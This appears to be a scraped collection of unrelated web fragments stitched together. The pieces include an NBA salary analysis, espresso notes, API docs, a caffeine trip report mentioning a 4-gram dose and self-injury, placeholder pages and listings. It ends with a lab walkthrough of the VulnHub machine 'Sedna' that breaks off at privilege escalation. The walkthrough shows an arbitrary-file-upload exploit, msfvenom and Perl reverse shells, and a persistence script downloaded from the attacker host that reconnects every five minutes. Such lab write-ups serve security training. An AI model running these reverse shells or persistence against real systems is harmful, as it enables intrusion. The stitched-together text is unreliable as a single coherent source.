The purpose of this analysis is to evaluate various NBA’s players, and determine which players are most likely to succeed or move to the next level in their careers. The first step was to identify the important factors that distinguish NBA legends from
the rest. We began by closely examining the characteristics of All Stars players, such as: points, wins, player’s impact estimate, usage player was involved in, prior All-Star games, and annual salary (adjusted for inflation and contractual
caps) . We also analyzed the player’s biometrics, and injuries to help us determine any potential correlation between their health and success, which was defined by the player's earnings. We then applied learnings from our analysis to
train different machine learning models to see how closely the models can predict a player's salary and expose the true value of players based on their performance against other similar players. Analysis of the dataset can provide competitive
insight to all teams.
NBA All-Stars vs Salary
The NBA All-Star Game has always been a midseason showdown between the best players from each conference. The game has consistently showcased a copious amount of talent playing for their respective coast. What better place to explore
top talent and see what stats factor into the highest salaries.
First, we wanted to see if there was a correlation between All-Star status and salary. The interactive scatter plot shows that all the top salaries each year were also All-Star players. We confirmed a strong case to use All-Star
achievement as a benchmark to train and test machine learning models to predict players' success.
Machine Learning Models
We ran 2 classification models to train and test our dataset using All-Star achievement as the target against player stats, such as games played, wins, rebounds, blocks and steals.
Decision Tree
Random Forest
95.91% Accuracy
97.46% Accuracy
Based on the Random Forest model, we ranked the features by importance to identify the top stats that impact a player's success to the All-Stars games:
Stat
Importance
PTS - Points
23.36%
PIE - Player Impact Estimate
15.99%
USG - Usage Player Was Involved In
8.99%
PASG - Prior All Star Games
8.17%
W - Wins
7.10%
To explore how the top stats relate to each other in importance, click here to view an interactive decision tree.
Biometrics
NBA Health BMI
Body Mass Index is a good gauge of body fat. The most basic definition of overweight and obesity is having too much body fat-so much so that it “presents a risk to health.” A reliable way to determine whether a person has too much body fat is to calculate
the ratio of their weight to their height squared. This ratio, called the body mass index (BMI), accounts for the fact that taller people have more tissue than shorter people, and so they tend to weigh more.
BMI Table
BMI
Weight Status
Below 18.5
Underweight
18.5—24.9
Normal
25.0—29.9
Overweight
30.0 and Above
Obese
Correlation Table
Height
Weight
Salary
Experience
BMI
age
num_season
num_games
min_game
Height
1.00
0.77
0.06
0.04
-0.01
-0.01
0.08
0.07
-0.02
Weight
0.77
1.00
0.13
0.13
0.63
0.05
0.16
0.17
0.08
Salary
0.06
0.13
1.00
0.50
0.13
0.16
0.54
0.59
0.56
Experience
0.04
0.13
0.50
1.00
0.13
0.34
0.72
0.74
0.50
BMI
-0.01
0.63
0.13
0.13
1.00
0.09
0.14
0.17
0.14
age
-0.01
0.05
0.16
0.34
0.09
1.00
0.55
0.46
0.11
num_season
0.08
0.16
0.54
0.72
0.14
0.55
1.00
0.92
0.57
num_games
0.07
0.17
0.59
0.74
0.17
0.46
0.92
1.00
0.71
min_game
-0.02
0.08
0.56
0.50
0.14
0.11
0.57
0.71
1.00
Weight is pretty much the only feature that is correlated to BMI.
{% include "test/salary_bmi_player_name_scatter.html" %}
{% include "test/min_game_experience_bmi_scatter.html" %}
{% include "test/Position_BMI_box.html" %}
{% include "test/PositionCategory_BMI_violinbox.html" %}
Injuries
NBA Player's Injury Analysis
In this analysis we take a close look at the correlation between income, and the days of games missed due to injuries. The last two slides provide a list of players with the highest and lowest number of games missed. Our findings indicate there are many
players with successful careers in spite of multiple injuries. A good example is Kevin Love, who has 82 days of games missed due to injuries, but has a long career (10 years of experience), and makes $28.9 million.
Salary / Performance
An individual is paid to perform at a professional level in any sport and/or career field of their choice. The better the performance, the better pay. The chart focuses on the 2020 season and players who have 3 years or less in the NBA. The chart ranks
the player by thier Performance Efficiency Rating (PER).
Performance Efficiency Rating (PER)
Performance Efficiency Rating gives positives for scoring if you shoot a decent percentage.
Equation:
Simple PER is calculated as follows: (2FG Made * 2) - (2FG Attempted *.75) + (3FG Made * 3) – (3FG Attempted * .84) + (FT Made) - (FT Attempted * -.65) + Rebounds + Assists + Blocks + Steals - Turnovers.
If a player has played 'x' amount of minutes played, we use multi-linear regression to predict and approximate amount of minutes played based on the stats (independent features) provided. The correlation percentage of this model is approximately 96% correct
in predicting minutes needed for independent features passed. found throughout the dataset and similar correlations. We can use this tool to visualize which players around the league are over/under performing to their 'salary expectations'.
Additionally, the tool can provide insight on future players to acquire or look out for. The PER score is a good place to start when ranking player efficiency... as explained above. Eventually this tool allow comparing by all years, position
and year range.
Estimate amount of minutes needed ~96%
Multiple Linear Regression, using multiple sklearn modules, was used to fit the models. The dependent features for the first regression is Minutes Played(MIN). Independent features include: Player age, years in the league, round number picked, overall pick, games played, games started, field goals made, field goal assists, field goal percentage, 3 points made, 3 points attempted, 3 point percent, free throws made, free throws attempted, free throw percentage, offensive rebounds, defensive rebounds, rebounds, assists, steals, blocks, turnovers, pf, points, performance efficienct report, all star appearances, injuries per year.
Estimated minutes to Salary~46%
Due to the high prediction score, the second regression adds predicted minutes and year of player record along with the features mentioned as the Independent features. Salary is the Dependent feature.


contrary to popular belief, espresso is not a type of bean or roast, it is simply the method witch is used to brew it. espresso is made forcing extremly hot water under high amounts of pressure trhough very finely ground coffee beans. with a rich dark heart, caramel warm body, and smooth crema, you will have the perfect shot of espresso.
espresso is the base for a variety of drinks now ordered in cafes around the world. the most common being a latte or cappuccino. it is a common misconception that all of these titles are interchangable and can be combined to create any custom drinks someone may want. an intricate hand crafted process is implemented to create each one of these beverages. in the diagram below you may see what i mean.
it's ESpresso, not EXspresso. if a barista overhears you using that term, they may just give you decaf.


Class Enum
Class BungieMembershipType
Class ChatSecuritySetting
Class GroupHomepage
Class GroupPostPublicity
Class GroupType
Class HostGuidedGamesPermissionLevel
Class MembershipOption
Class RuntimeGroupMemberType


At about five o'clock in the afternoon I took ten caffeine pills and washed them down with a bit of cheap wine (not much more than a mouthful so I was sober). I was at a train station and had to wait an irritating amount of time for a train.
The caffeine hit suddenly and I realised my leg was shaking. At about five thirty the train arrived and I had an odd sensation that the train station was moving but not the train (if that makes any sense). I got on the train and sat down. When I looked out the window at the green plants zooming past I had a small amount of colour distortion. Everything had a tinge of yellow or grey to it. A strong euphoria set in that I can only compare to codeine. I felt like I was melting into the chair and whenever part of me twitched it felt like it was made of water.
Once I got off the train and entered the masses of humans at the train station my mood suddenly changed. I had a sudden dislike for almost everyone and glared at anyone who made eye contact with me. My view of life suddenly changed and I thought only weird people were worth talking to. I hated people for not rejecting the morals of society and truly becoming themselves. I thought conformists were just idiots.
That was my view on the world for about ten minutes and then suddenly I believed everyone was just born to kill me and I feared everyone. I looked no one in the eye and walked fast, really fast.
After about half an hour of chemical paranoia I got distracted by some fireworks. One thing about a large dose of caffeine is it can make everything look cooler. Every time a firework exploded I had difficulty focusing on it and it seemed to grow and shrink like it was breathing.
From then on things died down and I felt physically weak and tired as I had probably over-exerted myself. I also began to get a bizarre anticipation that something dramatic would happen (nothing did). Once home I had difficulty sleeping but felt fully energized after two hours sleep.
After this event (which was my first experiment with caffeine) I had a fascination with the drug. I experimented with addiction, withdrawal, good dosage and over dosage. The largest amount I ever took was 4 grams [EROWID NOTE: 4 grams is a high dose] which caused severe organ pain and put me in the sort of mind frame that made me intentionally force a safety pin through my thumb.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


new User(channel, socket)
The User class, manages everything for a certain user.
Parameters:
| Name | Type | Description |
|---|---|---|
channel |
Channel | The channel the user is connecting on. |
socket |
WebSocket | The connection between the server and the user. |
Methods
can(action) → {boolean}
Returns whether the user can perform the action.
Parameters:
| Name | Type | Description |
|---|---|---|
action |
string |
Returns:
- Type
- boolean
getChannel() → {Channel}
Gets the channel that this user currently belongs to.
Returns:
- Type
- Channel
getId() → {String|undefined}
Returns the user ID. If anonymous, the id will be undefined if the
user is anonymous.
Returns:
- Type
- String | undefined
getPermissions() → {Array.<String>}
Gets permissions that the user has.
Returns:
- Type
- Array.<String>
getRoles() → {Array.<String>}
Gets the roles of the user, such as "User", "Admin", "Developer".
Returns:
- Type
- Array.<String>
getSocket() → {BeamWebSocket}
Gets the websocket that the user is connected on.
Returns:
- Type
- BeamWebSocket
getUsername() → {String}
Gets the user's username. This will be `null` for anonymous users.
Returns:
- Type
- String
hasPermission(permission) → {Boolean}
Returns whether the user has a given permission.
Parameters:
| Name | Type | Description |
|---|---|---|
permission |
String |
Returns:
- Type
- Boolean
isAnonymous() → {Boolean}
Returns true iff the user is anonymous.
Returns:
- Type
- Boolean
totalOnline() → {Promise}
Returns the number of online sessions for this user, across
the database.
Returns:
- Type
- Promise
Events
destroyed
Destroyed is fired when the user model is destroyed, either by the chat
server closing or by the user disconnecting.
loaded
The loaded event is fired when the user has finished loading, and has
officially been authenticated either as anonymous or in a user context.


|
MAX32665 SDK Documentation
0.2
Software Development Kit Overview and API Documentation
|
CRC Control Register. More...
Macros | |
| #define | MXC_F_TPU_CRC_CTRL_CRC_POS 0 |
| CRC_CTRL_CRC Position. | |
| #define | MXC_F_TPU_CRC_CTRL_CRC ((uint32_t)(0x1UL << MXC_F_TPU_CRC_CTRL_CRC_POS)) |
| CRC_CTRL_CRC Mask. | |
| #define | MXC_F_TPU_CRC_CTRL_MSB_POS 1 |
| CRC_CTRL_MSB Position. | |
| #define | MXC_F_TPU_CRC_CTRL_MSB ((uint32_t)(0x1UL << MXC_F_TPU_CRC_CTRL_MSB_POS)) |
| CRC_CTRL_MSB Mask. | |
| #define | MXC_F_TPU_CRC_CTRL_PRNG_POS 2 |
| CRC_CTRL_PRNG Position. | |
| #define | MXC_F_TPU_CRC_CTRL_PRNG ((uint32_t)(0x1UL << MXC_F_TPU_CRC_CTRL_PRNG_POS)) |
| CRC_CTRL_PRNG Mask. | |
| #define | MXC_F_TPU_CRC_CTRL_ENT_POS 3 |
| CRC_CTRL_ENT Position. | |
| #define | MXC_F_TPU_CRC_CTRL_ENT ((uint32_t)(0x1UL << MXC_F_TPU_CRC_CTRL_ENT_POS)) |
| CRC_CTRL_ENT Mask. | |
| #define | MXC_F_TPU_CRC_CTRL_HAM_POS 4 |
| CRC_CTRL_HAM Position. | |
| #define | MXC_F_TPU_CRC_CTRL_HAM ((uint32_t)(0x1UL << MXC_F_TPU_CRC_CTRL_HAM_POS)) |
| CRC_CTRL_HAM Mask. | |
| #define | MXC_F_TPU_CRC_CTRL_HRST_POS 5 |
| CRC_CTRL_HRST Position. | |
| #define | MXC_F_TPU_CRC_CTRL_HRST ((uint32_t)(0x1UL << MXC_F_TPU_CRC_CTRL_HRST_POS)) |
| CRC_CTRL_HRST Mask. | |


We extend systems!
- benchmark sticky niches
- exploit one-to-one channels
- visualize cross-media initiatives
- iterate B2B action-items
- disintermediate sexy metrics
- streamline B2B e-commerce
- leverage back-end systems
- extend plug-and-play e-services
- envisioneer intuitive metrics


new Store(name, callback)
Creates a new client side storage object and will create an empty
collection if no collection already exists.
Parameters:
| Name | Type | Description |
|---|---|---|
name |
string | The name of our DB we want to use |
callback |
function | Our fake DB uses callbacks because in real life you probably would be making AJAX calls |
Methods
drop(callback)
Will drop all storage and start fresh
Parameters:
| Name | Type | Description |
|---|---|---|
callback |
function | The callback to fire after dropping the data |
find(query, callback)
Finds items based on a query given as a JS object
Parameters:
| Name | Type | Description |
|---|---|---|
query |
object | The query to match against (i.e. {foo: 'bar'}) |
callback |
function | The callback to fire when the query has completed running |
Example
db.find({foo: 'bar', hello: 'world'}, function (data) {
// data will return any items that have foo: bar and
// hello: world in their properties
});
findAll(callback)
Will retrieve all data from the collection
Parameters:
| Name | Type | Description |
|---|---|---|
callback |
function | The callback to fire upon retrieving data |
remove(id, callback)
Will remove an item from the Store based on its ID
Parameters:
| Name | Type | Description |
|---|---|---|
id |
number | The ID of the item you want to remove |
callback |
function | The callback to fire after saving |
save(updateData, callback, id)
Will save the given data to the DB. If no item exists it will create a new
item, otherwise it'll simply update an existing item's properties
Parameters:
| Name | Type | Description |
|---|---|---|
updateData |
object | The data to save back into the DB |
callback |
function | The callback to fire after saving |
id |
number | An optional param to enter an ID of an item to update |


Ruby quiz! Can you get this method to raise?
def fail?(wait)
begin
t0 = Time.now
ensure
raise "O_o" if t0.nil?
end
end
9/22/2014, 9:43:56 AM
Favs: 0
Retweets: 0
link--- layout: tweet ---
Ruby quiz! Can you get this method to raise?
def fail?(wait)
begin
t0 = Time.now
ensure
raise "O_o" if t0.nil?
end
end
9/22/2014, 9:43:56 AM
Favs: 0
Retweets: 0
link


T. Tissington
Welcome to my website! Here’s a little bit about me… I am student studying computer engineering at the University of Guelph. I put my all into everything I do whether it’s in the classroom, at home for personal projects, or on the field/court. I am passionate about technology, my athletics, programming, as well as mathematics. I always apply my maximum effort on every project and assignment and produce high quality work.


The most useful harbour on the Isle of Mull and a very convenient stop, whether cruising north, to explore the Small Isles or the Hebrides, or turning south to Iona.
( photo of Tobermory harbour from Andrus of S/Y Suwena)
The shelter is good, with just occasionally a swell in strong N/NE winds. There are a good number of blue visitors' mooring buoys and, in addition, there is now a pontoon with about 12 finger berths.
Anchoring in the harbour can be a problem. The holding is not good in the very soft mud and the debris of fish farming and other old moorings can be a hazard.
The harbour can get very crowded during July and August. An alternative is the anchorage in Lock na Druimh Buidhe, but, as in many Scottish Lochs (including Tobermory Harbour), a fair amount of anchor warp is needed as the shallow area near the shore is narrow and the depth very quickly drops to 20 or 30m.
There is no yacht club as such, but Mishnish Hotel provides an excellent subsitute as apart from its welcoming bar and restaurant, it can also offer showers to yachties.


SCAN THE QR CODE
The activities you should be recording are:
asdasdas a, asdasdas a, asdasdas a, asdasdas a, asdasdas a


You have been invited to join the {CompanyName} organization, please confirm by clicking the button below


Full Name:
Birth Date:
Sex/Gender:
Religion:
Civil Status:
Address:
Guardian:
Contact Number:
Email Address:
Course:
Student Number:


This index.html page is a placeholder with the CSS, font and favicon. It's just waiting for you to add some content! If you need some help hit up the Skeleton documentation.
67%
Purchase Increase
Percentage of users more likely to purchase on mobile friendly site.
90%
Multi-device Users
Most of the world accesses the internet on multiple devices.
66%
Sad Users
Percentage of users that are frustrated with page load times.


Do to the fact that the Australian government has decided to vote to damage the world-wide internet, we the internet citizens have routed the Australian government to limit any more damage they can do.
Until the damage is repaired; all facets of the Australian Government is persona-non-grata on the internet site you attempted to visit. Since you are a government worker; please contact your supervisor and have them escalate the issue to their bosses. In addition please contact the offices of your representatives and senators and tell them to repeal the #AABILL because the government is now blocked!
If you feel you are here in error; please open a issue and fill out the details.


--- layout: post title: Fulfilling promises, Apple Wireless Keyboard working with KBluetooth categories: - KDE - Software Libre tags: [] status: publish type: post published: true meta: enclosure: "http://cdn.afiestas.org/wp-content/uploads/2010/02/applebluetooth.ogv\r\n1765377\r\nvideo/ogg\r\n" _edit_last: '2' dsq_thread_id: '2226554240' author: login: afiestas email<EMAIL_ADDRESS>display_name: afiestas first_name: Àlex last_name: Fiestas ---
Hi fellow users and developers, sooner than I thought, I have more things to share with you about KBluetooth, so let's go :)
Happens that month's ago Apol lent me his Apple Wireless Keyboard so I can give support to it in KBluetooth. After small research I concluded that the keyboard wasn't standard, so I just pull it over. Then, a few days ago, Ereslibre was playing with a Gnome and I decided to try to pair the Apple keyboard using the Gnome Bluetooth System, and guess what... it worked !
So, today, I decided do not go to sleep until I got it working, and here I am, 03:12 and writting this entry with that keyboard :)
This feature, should fix the keyboard pairing completely, not matter if your keyboard is the Apple one or not.
This feature will be available in the next version (0.5) together with a new Wizard and maybe a new (or at least improved) device manager.
If you can test your "non-working" keyboard with the trunk version and give me some feedback, I'll be very appreciated :)
Cya and Happy Hacking!
=-=-=-=-=
Powered by Blogilo


About Me
I am the author of BVIDev. B.V.I is an acronym for British Virgin Islands and Dev is a shortened form of the word Developer. BVIDev Blog will highlight my dev journey and from time to time, persectives, experiences and opinions, on a being a woman in tech.


Cookie-Stand Sales
Update Shops List
Shop Location:
Customers per hour (min:)
Customers per hour (max):
Average cookies sold per hour:
Add new shop!


J.D. Martinez will reportedly not opt out of contract, will remain with Red Sox
by David SouzaBOSTON - Red Sox designated hitter and outfielder J.D. Martinez will reportedly not opt out of his contract with the team, according to multiple reports.
ESPN's Jon Heyman and MLB Network's Jeff Passan were the first to report the news, which broke just after 5 p.m. on Monday. Martinez had until midnight on Tuesday morning to inform the team if he was opting out or not.
The Red Sox and Martinez, 32, agreed to a 5-year, $110 million contract just before the start of the 2018 season. With Martinez deciding to stay with the club, the slugger is slated to make $23.75 million this season and $19.35 million in both 2021 and 2022.
PREVIOUS:
Martinez's current deal has opt-out availabilities after the upcoming 2020 season and following the 2021 season.
In two years with the Red Sox, Martinez has accrued a .317 average and has hit 79 home runs while driving in 235 runs, according to BaseballReference.com, an online stat aggregator. He led the league in runs-batted-in (130) and total bases (358) in 2018 while helping the Red Sox win their fourth World Series this century.


Palaces, Towers, and Castles for Sale
Mamure Castle
This castle in Turkey is a renovator's dream! With beautiful coastal views and open air courtyards Mamure Castle could be your new home. All it takes for this historical beauty to become a masterpiece is a little bit lof love! The price is $479,999,000.
Special Features
- 39 Towers
- Moat
- Three main courtyards
- Turkish bath
Château de Chambord
Château de Chambord is reknowned for astounding architecture of graceful spires and grand hallways. This palace brags lavish lawns of everlasting green grass and sparkling facades. Let Château de Chambord welcome you like the royalty you are. The price is $999,999,999,999,999!
Special Features
- Assymetrical design
- Double helix staircase
- More than 800 sculpted columns
Neuschwanstein Castle
This German castle is perched high on a hill, displaying its regal beauty. From elegent throne rooms to sumptuous suites, Neuschwanstein Castle is made for a buyer used to grand living. It boasts views of lakes and the gorgeous Alpine foothills all for the small price $800,000,000.
Special Features
- Fashioned in high-constrast colours
- Hall of Singers
- Chapel-keep
Rapunzel's Tower
Rapunzel's Tower is the perfect model of an story book towers. This tower holds painted high ceilings, a view of neighbouring lands, and a collection of unique windows.  It could be all yours for $1,000,000,000,000!
Special Features
- Hook to hand long hair
- Climable stone base
- Designed so singing can be heard far away
Raglan Castle
Don't let Raglan Castle's stoic demeanour turn you away from this stunning deal. Its charming ruins hold interest for any buyer intersted in artifacts of old and mystery. Hidden jewels might just be waiting around the next wall's corner...all for a small sum of $500,000,000,000!
Special Features
- Fountain Court
- Gatehouse
- Great Tower


| Fig 1 |
Relief-weighted hydrologic area (contours) is a function of ... |
| Fig 2 |
Climate-area velocity, illustrated for annual mean temperatu ... |
| Fig 3 |
Biodiversity adaptation indicators averaged globally by part ... |
| Fig 4 |
Percentage of total partnership area with PA partners, measu ... |
| Fig 5 |
Climate change adaptation potential under conservation partn ... |


Sorry, this application does not work with Microsoft Internet Explorer.
Please use one of the following supported Web browser:
Firefox
Google Chrome
Microsoft Edge
Safari


Hello HTML
HTML is a tag based markup language used for writing web pages
Go To Learn Html Tags
About
Gallery
Contact
Harry
Mark
John
Full Name
Favorite Color
Footer


Home
Get NIN
Get BVN
More
About
Jobs
Contact
Report an issue
Sign up
Log in
Enter Details
First Name
Last Name
Nationality
Nigerian
Foreign
Profession
I agree to the
terms and conditions
Submit
Cancel


---
layout: post
title: "hackfest2016 : Sedna"
date: 2019-04-15 00:34:01 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, hackfest2016, builderengine, kernel exploit, overlayfs, chkrootkit, tomcat]
---
Hostname: sedna
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/hackfest2016/sedna# nmap -Pn -sT -sV -A -p 1-65535 -oA sedna <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-15 13:55 EDT
Nmap scan report for Sedna.homenet.dom (<IP_ADDRESS>)
Host is up (0.0049s latency).
Not shown: 65523 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 aa:c3:9e:80:b4:81:15:dd:60:d5:08:ba:3f:e0:af:08 (DSA)
| 2048 41:7f:c2:5d:d5:3a:68:e4:c5:d9:cc:60:06:76:93:a5 (RSA)
| 256 ef:2d:65:85:f8:3a:85:c2:33:0b:7d:f9:c8:92:22:03 (ECDSA)
|_ 256 ca:36:3c:32:e6:24:f9:b7:b4:d4:1d:fc:c0:da:10:96 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL STLS UIDL PIPELINING CAPA RESP-CODES TOP AUTH-RESP-CODE
|_ssl-date: TLS randomness does not represent time
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 44953/udp status
|_ 100024 1 60597/tcp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: listed SASL-IR IDLE OK post-login ENABLE capabilities Pre-login have LITERAL+ ID more LOGINDISABLEDA0001 LOGIN-REFERRALS STARTTLS
IMAP4rev1
|_ssl-date: TLS randomness does not represent time
445/tcp open netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp open ssl/imaps?
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3s?
|_ssl-date: TLS randomness does not represent time
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
60597/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:1D:C3:C2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
|_nbstat: NetBIOS name: SEDNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 4.1.6-Ubuntu)
| Computer name: sedna
| NetBIOS computer name: SEDNA\x00
| Domain name: homenet.dom
| FQDN: sedna.homenet.dom
|_ System time: 2019-04-15T13:55:59-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-04-15 13:55:59
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 4.94 ms Sedna.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 163.94 seconds
Gaining Access
Used nikto to scan the HTTP service on port 80.
root@kali:~/Walkthroughs/hackfest2016/sedna# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-04-15 14:22:16 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Server may leak inodes via ETags, header found with file /, inode: 65, size: 53fb059bb5bc8, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /files/: Directory indexing found.
+ OSVDB-3092: /files/: This might be interesting...
+ OSVDB-3092: /system/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ 7917 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2019-04-15 14:26:25 (GMT-4) (249 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Browsed through the /files directory, but it only contains images (and some access denied).
Searching the exploit database, there appears to be a known exploit that allows unauthenticated users to upload files.
BuilderEngine 3.5.0 - Arbitrary File Upload | exploits/php/webapps/40390.php
I checked the URL in the exploit to confirm the path was accessible on the server. It was, so I modified the exploit to post to the victim (and changed the extension to .html).
root@kali:~/Walkthroughs/hackfest2016/sedna# diff 40390.php 40390.html
22c22
< <form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
---
> <form method="post" action="http://<IP_ADDRESS>/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
I used msfvenom to create my PHP reverse shell payload.
root@kali:~/Walkthroughs/hackfest2016/sedna# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3053 bytes
I used the exploit form to upload the payload...
...which returned a JSON object with the uploaded file's path.
{
"files": [
{
"name": "rev.php",
"size": 3053,
"type": "text\/php",
"url": "http:\/\/<IP_ADDRESS>\/files\/rev.php",
"deleteUrl": "http:\/\/<IP_ADDRESS>\/themes\/dashboard\/assets\/plugins\/jquery-file-upload\/server\/php\/?file=rev.php",
"deleteType": "DELETE"
}]
}
I started a handler in Metasploit to catch the PHP reverse shell.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
Then I used curl to request the PHP reverse shell.
root@kali:~/Walkthroughs/hackfest2016/sedna# curl http://<IP_ADDRESS>/files/rev.php
And our session was created...
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:40883) at 2019-04-15 15:26:47 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/var/www/html/files
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I found the first flag in the /var/www directory.
cd /var/www
cat flag.txt
bfbb7e6e6e88d9ae66848b9aeac6b289
Since the PHP shell only stays up for a limited time, I created another listener in Metasploit and started a reverse shell from the victim using Perl.
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5433
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Maintaining Access
Since SSH is open on the victim, I checked to see if the www-data user has a default home directory and shell defined.
grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
The home directory exists, but only allows writes by root.
drwxr-xr-x 3 root root 4096 Oct 22 2016 www
The default shell is set to '/usr/sbin/nologin', so I won't be able to SSH to the box with this account.
I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes.
root@kali:~/Walkthroughs/hackfest2016/sedna# cat loading
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
I uploaded the script to the victim's /var/www/html/files directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
www-data@Sedna:/var/www/html/files$ wget -O loading <IP_ADDRESS>:4321/loading
wget -O loading <IP_ADDRESS>:4321/loading
--2019-04-16 10:28:00-- http://<IP_ADDRESS>:4321/loading
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 311 [application/octet-stream]
Saving to: 'loading'
100%[======================================>] 311 --.-K/s in 0s
2019-04-16 10:28:00 (76.0 MB/s) - 'loading' saved [311/311]
www-data@Sedna:/var/www/html/files$ chmod +x loading
chmod +x loading
www-data@Sedna:/var/www/html/files$ ./loading &
./loading &
[1] 23635
Privilege Escalation
The /etc/issue.net file shows the operating system to be Ubuntu 14.04.1 LTS. The /boot directory shows a kernel version of 3.13.0-32 (confirmed with uname -r). This was also confirmed in the /etc/os-release file.
Searching the exploit database, a couple of exploits have potential.
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | exploits/linux/local/37292.c
